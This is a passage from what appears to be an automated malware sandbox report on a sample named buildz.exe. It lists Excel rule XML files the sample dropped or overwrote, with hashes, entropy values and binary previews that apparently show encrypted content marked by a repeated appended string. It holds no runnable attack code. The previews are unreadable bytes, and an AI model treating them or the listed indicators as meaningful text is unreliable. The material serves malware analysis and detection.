Preview:	<?xml.w.V..........hh..R3u_...%N....]s.q.l.r.....n....(g$E/.;Q."...f....(7[<.z..@........[...s.Es.}.d...0k...(Q.j.'.v.,x.9E..2.V'.H.j}N.@eO.....c+.G..z:5.....W..........?..... ..".SZ...@..r4.(M. $;.].4v'...--.s..$b4.^.^^7!..Z..j.R.9!.[..(&..m_A+..F.."....4_...&....e.vG.P....c.1..Q.g........\.N...\|...E...a.vt.%......M.r..!..A..S.6s...b.h.>p...].Dm.r..`...8#....,...)%$8K....y.q._...v.S..X+.D.P..lh&.....).v..../..H#.UL<..3.[.3.. .B...u...]v&u.j.(...&j@..b....N...\..#............u......j.M....$.D:.#L.j.k.at..h..Fe.s...z...V.....m..,.h.h.........2...p....z..L.....t$H'...........t.%Q.;....r.>>2..7r.F.G..A....J@...d..0...Z..........^...T.%....^.O.2.XI.k..xj8/.S2.8..(...)..l..j.../..yz...I.5;..O..Y..Z1)....].<.....O.V)..z....[.0U1.7.W.R.jH.l?.tQ....V9..{I....(.\.=8.......dm.G.s...........Gr5'..6./...%..."r.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324006v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.7461388146977495
Encrypted:	false
SSDEEP:	24:jVRNGyPd8C2W2hWdf8QtV8PxnxD8tMOpx4+jbD:jj2hWdf1nQ8tA+3D
MD5:	8CF464B96B9627476C8FA32DD8C2785D
SHA1:	7090843243F89CDCA9520FADA0844420C2A5C2AE
SHA-256:	EA6A45FC5653D8F75A57DFF620151F6E4D52D9F1C3A74D605F28F722E535A89C
SHA-512:	5E6CC0DFFC2E2EF5210E40326FC687415E5E7A461434BCFBB720211C3EDF07FA068DEFFA33B9E19949498F3799F9757AAE01C38B4EDC2569B16D0636CE037FED
Malicious:	false
Reputation:	unknown
Preview:	<?xml.=w_.s.;..Zu.hZF...r.#.c..4....3..`..3%\I.g!..u.$..]......m..l..mJ...S.Dor..h.S}z7; ..9..$.`q.6".....JDE.M...j...<.}.....}.c..g.tJ......u.wVCV.<Y!.k..{...P.4.p!\....&.k..1^uO....d...Yz.}...X.;h.g1....;.J..I.T.(B.....'.X..H....4... .{.o.?'..Pg.'_......Z1.;...{.+..z.ja...<......I.I4.....V.f.F.L.Ylm^....8.Z^.....0mm.).^U.=o...-.f......S.\|ma.(..4.9...o.\|.aG.E.i...&..@.y.I....g`.[.2..^...y(..a.@..........{......h.P.....E.6.hd.....1N..........k.t..M{^.J...f..C.> .z.8....fx....p.!.....,..Q.T..E....s.M-..^c..E.Eq...\|xf2}.0~..N..=:`.?..A`./.....8......_X...rx..qa....k......y..:..6..t.bWF........?}..cZN.k1;.c..4i=N.Uj0....z...TU.B+..tl.].q.(U...~..9..4.y#y..C.J.9...Q.n...4,@...RE~.R...Gn.FQ...{.i6.O5.LH..sz.\| ..#a.8...z..1..../..A...;}+..<p.,...V......\..h.....B7......8M...~J..j.j....4.W.H5.oA.0....^K{..5....f.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324007v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.781625434237219
Encrypted:	false
SSDEEP:	24:+xr/UBkbkiY573EgnG8hB5p/AXd5uzIxw5/wQbD:+xr/XkiczBnVrANGIxwtD
MD5:	0EAA82998B9746F2AAD82D4B73425AA2
SHA1:	1E9B9C14DBBD416F6A21A76B9AD4FA9C4B33292D
SHA-256:	393928D2895FF249FC9D6DEF01724515D2B58CEFAD38C1FE3D512B797B92B41B
SHA-512:	E1205095FB47D6A927D1FC0DF7394B01656980F74779DCEC64B773013526BC33089BA956CC6C55B80A272D4C1D75E7227AE881EF3A9FCE6261B566D7BFC6F3CD
Malicious:	false
Reputation:	unknown
Preview:	<?xml7..f6.Wv.....(m...L.o.]l.:.@:.......u%.... .S;.E...XA,jDy......`Y...P.kDq ns..$o...J.:...~...q.=.i...+."=...J.........V....W.....p......fa~....G..j\+}...0..J...R...7.`~.m<u...7'.S....\..1YtV..Q....@O........E^/..T%.g..--/..#....S3\|...D...'T$<{..i\.7.. ......m..v.s.^.......T,.3zs...$...r.y}...H. ..;.$.rOSa........QaR..O...(.(YR....Z.c...l.#?....%Y...:m.mIY.u...9..O.\v..n..7..%I.s...Mw.yb.)%.....F...K.;P..F..r........HEk.Z.r..S...2A...5v.h.'Y,.&...sC.:....z_.,..,IU...^%..c.q.....a.....)TRZh.x..p..P...6J......\|.Z'g>E.b...:.V...?N....0..:...F>......x.=...\.#^[.i(. [....{...F.5.3D.....w.t..s.pk.&d.1U.. ..l5...$s8x.......XYd"&p..G..P....A5HK.. ...'?..A..........ptTv...k.P.X[..-@..Oo..6..>_...R.uJ:....q....J7 ...HBN.r.\m.^j...J...............gp.M>.N.J\...../.=...v.LiN.._.2R..ji..V..n.t......dO..q.../.c....m....gSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324008v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.7375748122156205
Encrypted:	false
SSDEEP:	12:6yOXYr9hM9L7DDWfEsPN8EU8eGvEHU2VJWsp5eeaxNWt0WetOIZv+m1+cii9a:I09hMFS3VW8eUEEe5eTx3WI+dbD
MD5:	C5AA436BF3287C5C5CB4DCDE7609A248
SHA1:	AE54EF5F7481377B6CB16851CD378A1DAA4BDB42
SHA-256:	5F60393B45DFFA22F57B848DD359FDF4BC2B8CCDDEACFA9DF5857F167E2CEE0A
SHA-512:	33F4C2EC34E001E66F12BC2E095A0D517357E579045A5B3A9138CDC3F065ADB5985A9F1DD94A142942542ED304DA2C5CD8E5DCAE2A219832B5CF380AC8739F59
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....[.P2T..:.~J.I!F...4..v...2c..?.Ig)..TA.......4_.U....r.....u..R..)...S..3G.)e.Q.?QF;?.m.4..r......O...x.......<........b.......W....$.~..B.......d.TB...4.....N...32.7d.L...J....B..$.qv.GLj\|l.S.&q..)a.K.iE"..2..I......rD..Pw.0GR.3..Q..b.......'m$.U>J...d..g1K$vR..yW....LM2..>.x\.\|-.3...7].....E~.i.m..0...V..l....y7gU......I....,...=.W..U6..K.....Q...~....G.+j.$O.....eS.(.g.H.M5d...v....!.,^\|p.k.K#.....YH.;{-1...].%.2......dHz..D..N.[Ca2...f...............".e.DjH..`..V.....]H.4....K....2..z.v{..1`.....Ik..c}..Sp.?xT...m.Q....+...?1h....u.dp4....I.....7.R... ..wi.o`T.g.3F_aL.r...v...c..!s{v.......K..ES..;....]/t.H...".$.6O..2...M.7].hiv.q.!= ]o..>.K.5.:atys.w.e.... :.>a......&PF..B..u.H!{:.I.>b...n".W..^..r..Z.a..'.....sj..&.+.....9....AM\....-y:".m...U...6..$."g(...z.~.3s.;.v.Y!)....^..wh.R".[...-`.3..m..b../G.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324009v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.7862144413489105
Encrypted:	false
SSDEEP:	24:aIZG6N6CtBPmA17pNF/SfWsyCslj2lkyxVAgM5nB8MsbD:PZzDtB9VNF/Sesynj2myT8OMmD
MD5:	B677D83992D545534E85A74B20F0C82E
SHA1:	2552547A4F9902781D082E646363B7BC602497ED
SHA-256:	3D218A61414A38383BDBFE89FBE9D31A00A19FD987FB81BE3ADD23F08F05E73C
SHA-512:	88A2EF611FD3358C6A88D3228E56702B44B2CA2ED70DBB41E22A54101549EB5E7450F29686CAFE9CD4E7B0087E96468BB330A32C5DDFDB3D67534DDE6EAB47EB
Malicious:	false
Reputation:	unknown
Preview:	<?xmlo.O..V)..>I.:..>&.np....9X...H!M.......q...0.e...~.}...D.k.&%..:H....\......U.."".h.B..u....AM....vo.0\..0Y?....gD....ryx?..j.[..f..+...2.XBo$..Z.@.. o`jg..\...z.#L:...x....7.}.$.....g......p.x.%..H.....&op4.........l\....<.e......u=...,.=...........W<............C...L~...#jB....!..M..{}}...w....[..%./Y.nL[)......H.J..-....+p..!....I........!.k1..W..NW....>..B.p]`.<k,4.8.....<LLn$.F.\...n.+{.v....?E`UuTf-az...BB......g..j.2...w..........7..<.....Hb\.W....0.eM.V<......s&.Z.#]4..pxR.b.....F...g.z....P..(.sa.}....i..kU...R..r>....+.%`T.u.P.Z6.:....~..,..e....=...g1.NCXD..=ET..'@.}..*XP.> 7P..(..b3...Hu._I.L..S..B.P[/..4.6... W...X.........u...;Md..,..f...\|.K.(.........L...).SX...._...;D.wuW%.\|..joP.[..1......9wn\..'R.9L.sax.../W7.}...g../..A.c..<./$..).\|.n.J..(..:G...5.m3...1Y<.d...Y<......8.\.1{D....7..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324010v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.804255486932562
Encrypted:	false
SSDEEP:	24:rtCRLYKLec2PACoT6qvBEpkUqeOilNjPe9mS1G9fpoAgq9bbD:r8p5LefeTnBEp3RfS1G9mAv9fD
MD5:	052002A033D89A63BA67314EC91019D4
SHA1:	56F0479358AE53209D32F513D08B091A46231B96
SHA-256:	26649C153044E6527A004E0C6F93CE2EA31994BF6DBB74E5391F79FF2906D4F2
SHA-512:	ADBC61707FBB810069CFED1586E18E5728BD07ECE09172E194B1CA3AF88C368DE791CC861E5681A261B03CA6FBDFA6AA221E52DF33272CEDF1C85D9B60773070
Malicious:	false
Reputation:	unknown
Preview:	<?xml.n...>.......Kp.>..{qW...!..1;S..n.3.l./h.x/.^wWok....H.........&:...t........K....;,k"p..;..d..D...n.....x;.....`......H...3xxjC.1.#...s.TA...y.qzin.S..K...).,r...@........\~.$.$.....cp...l.7.2..s.GkM..MI^...R..qw....b.P........W.e...1.....\|]4r..'r.R..-..\|..I.._<.SG.YC.T..s.Z..J...qD.......S.&.4..0..5./8..6..o..n#.o..$1Nm.....M....j...W..uNo.!...}AG.x.B.1...\|.0..J..?.Z_2....K..4\|u.I)..Kd.P.k.=..V...'O.[...\|.<@e.....$.{..3....i.....-.L....gz...f'........8.D...[A?..5..[..\.....0..jC..`...+&...z;bJG.......~..W...dF.....\|.$.M..HU.QR...[...z..t.f.&..._...[g.XV+.z...J..0..........:o..[Y{u.vR<x.>.OS..S....7n..o..;~...B...k-n.. 3..i.-[..6....\|...o.).2.7...AX...U.d1...A.y.6.b7Q.!.\|..=...N...T!...G.F.. .y..rI..?....y.8.].w..4V.s+5k.@..v..._q..S.S.....!.......7.."q...EO....-.!...%......"?\...=..u....>...s.P.!..cSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324011v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.778669640775949
Encrypted:	false
SSDEEP:	24:jegSKImOh8yd0Biq/BskUZm7xZFKVst++RpMNbD:wKI6yd0BNBXUZmbFKVkR+tD
MD5:	5A7156019D95F3BF0764AC3CAF16D462
SHA1:	F27617C2A355B8626B885495AD26B406BD5726C9
SHA-256:	5A2C5033C784EB8A536F31406C003716140A9E3DDACB0AC073B5E3AFCBFFEEBB
SHA-512:	CE016E4946C8AAC3C6BFE35056AE99A3BF99B9213700FC7FFF6E17A290A8D3516ABB22272C3BB7937CBBA9089CC07F4E4950AEC6ED0C3D5A3802F0EADD7EB20A
Malicious:	false
Reputation:	unknown
Preview:	<?xml"Ntt......o..9.T3[{)...Ev........>....B v.....Ou..u.....E....D.!..fP$y...........-.S\.c.1.t..fv...\|@.P%v......@...].....N4...q..PuA.'.a...uB..Zw...E..lqu}....@......3.m7...PO>C..h5.>...<M]Xb...P....+.O...a.l....r...`..c.z........wE.c%........X.P....../...-..1......a.Gh.xh.o\.}y...w&q..o..f....z.C...1.mwm...Q.J".....:.!\....o!..QF..14....k...$.[....% ]3....t.JO..p...`v&.....R...L.2...-8O.....;.H...j3s...l}"]9Z..LY.....\|o......k._...,.H@.......n..\48+#.._$.......[F..3JBw.27Vj.L..0WzN}o.31T. .Q({a.. .I..}.. N....lY.#.2-N...~;..s.&i%.+..A.Z.>.m..&.C.^..ad..&~.....$Y...?.>....bj.....1r.v..{....)~..z.=..<.a...I\/.:....B.[...[t....K...P'...b6^..../-....=....N.s.X.....`...W...!...O.E..E.....O.B....CL...4=..']b,.....i....]....~.".!...S.I.\|.-.3.v...%.{'...T.].p......P.....q.3m..7P./".W..?cW*....a....K...h....:W.a....?.G).a.k..m..K.`K.5...d...I@4P.....D=l......R..@.#SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324012v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1498
Entropy (8bit):	7.867916796157904
Encrypted:	false
SSDEEP:	24:0AeYMx4rW7mSCK7M1LVzenIKcaab3aZjqSeVIS2my1YdPk5McR9B5Js4bD:74vCSCiMVV8caab3aLKISDlk5Mcd5SiD
MD5:	4076CEA8A172E14D5061F8B2D8374CA2
SHA1:	73719CB3E6A174AC0D8A67FABD773C649604C0C8
SHA-256:	F521DDED73E281D92165647DEA2B3BB8135392C1AA333F9B117B30DACB7D49A5
SHA-512:	A73660140614B115BCC141EF04F55D38C765F91CFC5D0997B8F153C5A71B998A2A1CFC1C714FFAAD2C876E986F3C8FA4A984B2553CC2A1A15F812F4707278DA3
Malicious:	false
Reputation:	unknown
Preview:	<?xml1.}.50{..4...s.A1......k..-9.oR17..P....(.Rk..T.5.~...6..<....V...6.....n...`H....S......5.@..{m..7].w._.^..._......mj...\.7]kh....B....7C..g3b.....w.>QDA1.OG...k..T..l/...&.G.R...:EF.H.MDvJ.D..PQ..S.(.v.."'.Yv.9...V..R..U....Ye..,..xZ...6.A.........:.UJY>.@..5...j....<..7".".%..%%.G.../HG.X_...8..A.f...D..>..5..b#-..&.iz.aG..(s.B\.-..oKy.S.A:`]+..`.....E..g.u.......$.].#.[........45E.R..r.}.d{...[.....j.e.../.....".P.J.z?.....=..)....A..tf.C4.e...\+..d......{...!..$/z.\|4.V...]j.B.!z..P.o.w. 72.R...#p.qL.....L...12.R........k..x....>.....AT&......$b....T:..##.9.u:f..M.i.....&.s.O..\|.{....y..J..K.`.m...r..R.t]7\|.r................,l\|...1\v._)bd>.m.+.....=7z0.(..pH_*.9.AEy...........H...(ms...8.X........M.......I......a..0!.....t).";.gC.....V.P......!....R26..._..M.B...)'.+.~oJ..-..g'....o.........M.<._B....sNEr~.M..,..._.././..ui]U.).Pg.c.zE...X..D...W.H....@...y.5.......:Q.o.m)..U".l...fI}eh.#`......Pi.........#...$. .o..-3..T;.(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324013v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.854049800702617
Encrypted:	false
SSDEEP:	24:A7bCI2tfU3OuSkRyWv+wTTYR5bKuEreP7+6dZo2oMbD:Obn2tfiVRJTQhKuErejbloGD
MD5:	1601BE4A96D8B13B4C0E749C744D0481
SHA1:	EDB43C630DBD227FB007A0D84752C649DD5793B0
SHA-256:	BFD9A5281F0AAA399D7C0CA18E33405A0E8C0F20616E3CAA4D88A55776BEFD37
SHA-512:	79483C0175D1BB2E4600048E0EF70C51CC46B2F464EA1F0C8F3A048AB5A75D7F1F236A6BACD8256D2B403BC319A2F8F08D25FF0E205C168283BD25378817531D
Malicious:	false
Reputation:	unknown
Preview:	<?xml.s....&c`).$.';l.....A...]..f.B.,.]..m...O..)....)w...T.f..P$.so{.-.x....7.+.)...8..q$.......#.U8.IPVY)err.........-.9......9..u.0...3.. [..._.\.@o/.I.^..hbf.......g...~?b..y^es.VL#.X....(.I..wjJ...G3+..Z..K\|CY..%...............Z'....c.{b`....}......c...4$.....8.....F:._..M(..m.....C.^.c[..S....K'...@..F{...6.-..u.sf.D.{vR(D...U...#r.......ce......VsXBP.,..\|+.pp.Zh.:.-3..K.Z..E...0..3.T..W..C4}(..E.Zr..R..........y\|.Q/:.L..wLW....<'e.m..'&....u.....}e..F%..D6."2k..,L...F.O.`...?.I3*.8.F...Kh.........&I.....&....[..7..^......b.. xT........9Yg................q.Ak.a1h..ES.'..vWu...u.-...d.........F.&{g...dA.rc..DQB..]E...:.R....~3,.c..f...R...o.R.O...[.....8.0...........sX(.p,....:..."...Z).lX/w.R..hYN.,..$.9..J_..5....#V2;0.Ca..6.O........q......V.....Gf......../...H....e.<.Bf...(...8..w...>J.....:..V[...?Sq..(.d1..m....[...\C.l........W]...&M'..6+..i.v...$\".'.....v.!...=.U.......'.....S.U.b...;L...=..t....e.0..r?.QMUR].........kr

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324014v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.796698771300229
Encrypted:	false
SSDEEP:	24:6q9Nw9D/ABHW8kJEeGFHK6pPqY5FiTcCiTk6ydGzxbD:N9Nw9D/ABHW8GEDFIYHiwzTkzduD
MD5:	FBFB3FE8D7E5BC5046640DA2F6A31A8E
SHA1:	3BF4A0EDD1BDABFAD073D136CEFDF5116B6062A9
SHA-256:	4BD9055DB699398782DDF4AF1AD1F4DEF4EE7B8FD90E4822C9D5064F9049A30D
SHA-512:	D62E24B7986FB3D973237868220F31E9630B5E461FA054774D64DA6B64BB7733C420D8E20105D6EEF64FEDC1BD8266F46C60CF6B6FBB29BEC51E89EA68E8EE89
Malicious:	false
Reputation:	unknown
Preview:	<?xmld6..KN.R..3J....C..I.s.p. .L@._..Y.R.!T............X45;T......A..OO[..UzP..9..63.Zp...a.V..H.r.....E...u?.*....YB.>....v.....R......pz.........P.1.=..h...I/nn...JC;j..X3+.7...-t.b.D3...[..2.g...s..`n.i.......4....CwH.P.hX/K.b...f.k.!.....I.d....<.?.<.m3...?....{..(..D.... ..-.A..T.!.U....uTEfs.7....../.?.Lv...i.J..#..]d....BU.l..x-.r .8.....jP=.;.?.e#......VL&m...[U.=`..+[.u%'.h.m6P.}.4....C./..~r.. ...j..9.6........7He..eL.....r..=..v.bz.J..~...f.....g.7..S....HF......gq..#.(..2.%T..Q.0....e.O9..Mu....!D01......../..b!.\......~U....F..F......C.5.(.>..~M..,..e..5....Jk..H.m..e'....".,s.4..........4V..d.l-..B...w..I$.#.N}..?N.41.vX.~..U...\|k.y./&.......dH./.....:.+m._......L..sZ.e%.Z.....Ly...pz{j......Z.L.JFs..wX.y.<...c.l.Fn{...p7..&.i:...j>-.....V.7Ai{...@z...x..>;....T.RF....$h..\....4...Z.\|.s..H4..h...#+.^B._L..e....b..r...,.Ja.......wZ..,...W.`GH.&..#..;\|v-.?@..q..U9%.v.Lq.^.m.A.\..9......V.4f..Y.5...n....SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324015v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	7.81984562979046
Encrypted:	false
SSDEEP:	24:0mLfnJSgE3pr0PbnQv4e5UAHjZmVCy8ScYL29jbD:9nJSgEZY6/UADo/8SzyD
MD5:	219113467D03F83C2EF8A014144E4ED9
SHA1:	BE7B5AF612949FE6A0187ADD047BF0C339FB9FCB
SHA-256:	B5D40157D4858A0F728ED0153E7B4B60E7BDF0A03D9A391735474B44D82BE3BB
SHA-512:	195D313C6905B4850CD4035443621F7FC506158CFC4E3BD37847F6F2B1623C16DA855911FA75C69AF98DCE7AEFEDF3E185BC07233891EE717A8EBDC6D7F9BA8A
Malicious:	false
Reputation:	unknown
Preview:	<?xml{..D?.C.eX7.I..Q.SA=......{.5q...q..!....z..X\..0e..6..;...rv...K......z.R...^...djU.j.=03....S.'...F........O....K..._...r..>E#6.D.(1.J.Y...F..,.nQ.j....#9Nd.J<+.@.g...@.OT..w.4b..\|.?RW......u....c....E....H7.d8...w.m6M.tD....z.....K .,.A$..7..\,tE.yf....'...%Vv.B(..=Yp.:.>..&..N....Y~.......};.M<t)..........1....{Z.....r8.#%...=..x..f.9" D.\4.+1..3#.........?..-j..$....C..t....*......$RO.2.0....W....~..)..N...................,O...F..Y1...M./..p'D...L..B..]...K......?..........F.5_.@..sS.}.../.#8a..N.5!.dj..mGX.$...p...77....i.7'..!2i..AS."..G.........XI...FTB.N...\|..8#...,.......v..~...g...=.L....4t!0._}..{x......@.E.....@=.Gt.6..G.X...q..}....W...)Q....{.(......%..G.v..)a...1.i..m...R.j.....m..nq#.C.n....x..h..q..$_(4s.bH%.wA._P.....IC...J..\|....kdbGz.....K.-..UG......pR..v.c..6.......@...z.9..=. ...3..K..y.l.z...[.F}B.K....2bbJ....z<}X.V.'..T..>v...Q^......@..d.Q.U5...<...........a0.sy..~"6?7.H..Dv.#.D.CI.-.....uN..RK...h....-J].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325000v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	9303
Entropy (8bit):	7.980565541807863
Encrypted:	false
SSDEEP:	192:vXOLTc966iRzWoGLF0xBNL7Dg8BlvOuykaWHaEit:vXlIzQF0X7M8Xv4kaW6Eit
MD5:	19043A680036B267F262FEDCFE33A7D6
SHA1:	72DD39C965C403D5830951F0607BB21733743890
SHA-256:	97E26C52619714A0F820F2AC906A2CDD8AA4E91DE76379F8206DA9C8FD1AECA5
SHA-512:	AEF08CA44B5A3866D87DFED9E5A19098FA1DBA633D25CC79303C219C72643A53891A3F9FE450B3C7C4F5067FD473A4EDAEC327FD69268DDAF8981CFEF1B6F3BA
Malicious:	false
Reputation:	unknown
Preview:	<?xml.P..E[.....=._Z2@.../...=.........Z....6.n.]1Kc.J......k..=Ph..uN.nW..._..~..^.q.U/..B.+..M....-O.....O.q2..0c........&y.)+..Y0Y...}8........#.1:.$.TN.2<f.H.R.^.`...l......lG...O.{..GX._SN^...3{?;.G't.u..jU.j`@...Ou.0.g.9.-.>A......e-e....{c6....%..^\|.@..a.;.........v..l..HQ.....f...b.X.`#T.]c..\....3.<K..!.}..\.....R......Q.....?.u\|."..jq.B+...3l..Da..E......2..0s....._...V.s .[5..bU....m......cc... .zL..0s..KXQ.R.5.h...':..wjL..XE...)8R~.VD,..y..!...UG.f.0.U.\...>.M.o.<.V.........Y"&.g5.0.c8q.v..3.o..cg.k.z.iy.,...4;..btm.._.&.._6......f4.@>u...>9../<.@W.F:.u{?c..1.O.RIR:U6rz;.I.E.ss.U.$L.r....Mv....j.1...c.+....^.. u.<Q...h.}\|...."4.h....i....1B.}...G.c./`n..c..rT0...3.BU..Fij...B.</]..d.W..j....,..s..............ri.u2w.%...k0...o..G....&8>.....Stv52.. O6.l..\|GwV...........H.TW>.P...37...S.9...T....W...O.Y.#H^2..Al..Kl....5..me...'........y..z/.p#...3..H.A.s..'. .'..mO<E...jd..^7s[.C.%i..p....kd..\..}k.j$....4..>...;..d.^...G.@..(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325001v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	7.929987397148116
Encrypted:	false
SSDEEP:	48:zgweyOfzrhP9WNr651M95tnF5PW8EYdc1pU9XkwHVD:zYzh265GhnbPEY+69fN
MD5:	6D747EEFDB2AABC8601DC5143FC56818
SHA1:	8E41C31169BC1F2F441697F3AE041F21619722CC
SHA-256:	1112096986B3AB9F46406807DB44A18D8E14033DDE35656C91CBEAC56B95C18E
SHA-512:	DA30CED934D1980DE780AE7A37163F82E53E8897D146EF77B592296E67470B710BA24F94594EE4DE1266736545FEE721661076C5A361B1D6BDAFC6ACF583E13D
Malicious:	false
Reputation:	unknown
Preview:	<?xml.I....~....z....{;Nq.......zQ...VD.]....wu....`j.?.s......n.Q..c.{...^.{/..J.....J.\....,..6....Pd.O...n.M.y..0.zi....s."&>...'.v..n.&.K.....k.xa...v.z.JAU..V...KN51...S\....h..\..0...<[...d...s.P...r]H(............h.nx..'.o!..%..H.A..]1.o...:.X..~......y.8.t2..>..H&UP.R..[..X.`1.C5....l.....f.^.d.&?=....5..cbsc?W....`..q..F....D..a.....G02.2..S.d....4U3...r..Yq)..8.3.S.L..G>..Z.[\|...Xa.%.To....i.FF.o.>........\.z.%.9.gx...6....dY].cy..^.IVp.f.....[/.=YqH.+.H.....\|U.]].....t.Ie..vM.?_Ng.a.bHA..nv.2.B.3XT.X..i....Y.m...1U..S..q1. P(.......G.\,I.k.....#..;..wo....}..x.g...Yogg.....Y.s.K&..E..:y.....".....=.\b<....O...H@.N..F'...5......5...A....9....%4l....@..\|.X!.wi.o..Y.Se..o./.mi.Q.....G...w..(i[N.c&~.@........\|h.:_H."kH.F...t.l..z.."....:)u:-f.xn..../.\|.L..X.._K;.o.<....9..\|q...q1....O..sK... {N_.........8....IB....^>...R.+..Y ......2k*......5....4.#..J......5cQ@....3A..6g.n...P.3..^..<..(.......:..o.c.....1\|8.K.6..M....u_..W..LV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325002v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.913569702784958
Encrypted:	false
SSDEEP:	48:7g0yhpkaMS7eWUXw5Ty1m9rK77DyIm+m/e70vMCcUJ9sD:U0yhpXyWUXw41YaGzeAvMzUPI
MD5:	B955113285BB68EA6AE6A489CD266A4C
SHA1:	AFC748A0388003425324F090680570BFA31075C7
SHA-256:	C7CF4B2EC11BB30B1CC3F1BF5CE5C33CCA8635DA8ECCDC7391B94E5EDA2035A2
SHA-512:	89507B2CCCE8CBAFD811821231BC0999D1F49C7BEF4D2D73C5EEFACA81F94D66AD083D77D0C8FEC3DD812FA61C48E325E2D25207D264861CFE4C1E4C285C7F6E
Malicious:	false
Reputation:	unknown
Preview:	<?xml.-"q..X..6...,.CV/)I-.v.9....F.?~..t..U.?..SE3..[.i....4o..[.+.!.+.z....:.5.67W.w....R..r.i.....t..k.~GX.w.....S...J7w..Z..>....z........5}..U....R..I.nG.#..b.:...#.n..c...[.D.'.....$....I.)sS..T0w.+.f........FU..Od...Ox..........O..~.\|Y..iG.w!... )..K..F.z.....-.B..~....D...[..4..g\|....4............b.h...H+..5..!..\|..........C.:...`o..}.(....E..U.L..E`.$.}.Q......#)I.d..1<KM.%......k.......uA....)o.).=....M.].cZ.[c.:..L..o...1.ng9...[$O..x\..H..0....A..6.j...Kl....P!=+.i..,.y.p........$.~{...B.?3......\./:1..........l...`v.......Uq4.9.o.....e..../(..R<0...M....u...^k&..M..Gj$....1.#P8.)....=.T.;..f.s/Vy...A.7/....U..D...R.(.1....-....U....0...g,.A..+L+b..~BW.......D....'[.3.J.B..S{.$.S?....jr...x..V.....L....T..{..e..o........Ce.$!.?I.@..I.]......z..&.J82....MC..L..C.Ja=.........E.\|.g.._..^.Nk.. .$$!-...3.l..x@w.GW...8K..pTsc....zJ.)..a....c..4..V.z.^...9..v.AjgI.p.L..?...d..$+.>k%.=..R...=S....6....pE..Ik.j.. .}.C...A.........aF0m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360000v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.844779374016691
Encrypted:	false
SSDEEP:	24:u2QMrHCaEipuwQ5aNxzM1+RscFb4MAKvwIVc0AJeK0T2tKjfRwMJIbD:XpLNCqLbvwIVc0aeK0tLRMD
MD5:	F9F89E0CCA0BA4F49A10A4B3337DF519
SHA1:	8195EF2D6EC02CC23643855E94B0214555AFCA8D
SHA-256:	23259D43704829DD45D8D5B2A0A53DA9CED3FC480E188D955D5DFAAD9993D7D4
SHA-512:	7BD86BD8B851E9F3294ABEA786C22718C9F435094F18A5645F1063C703F674D546084B30ABB9C3AAA80FEA64C2ED71AFC48EE1F71E797C3ED739BD3E2DB59EB0
Malicious:	false
Reputation:	unknown
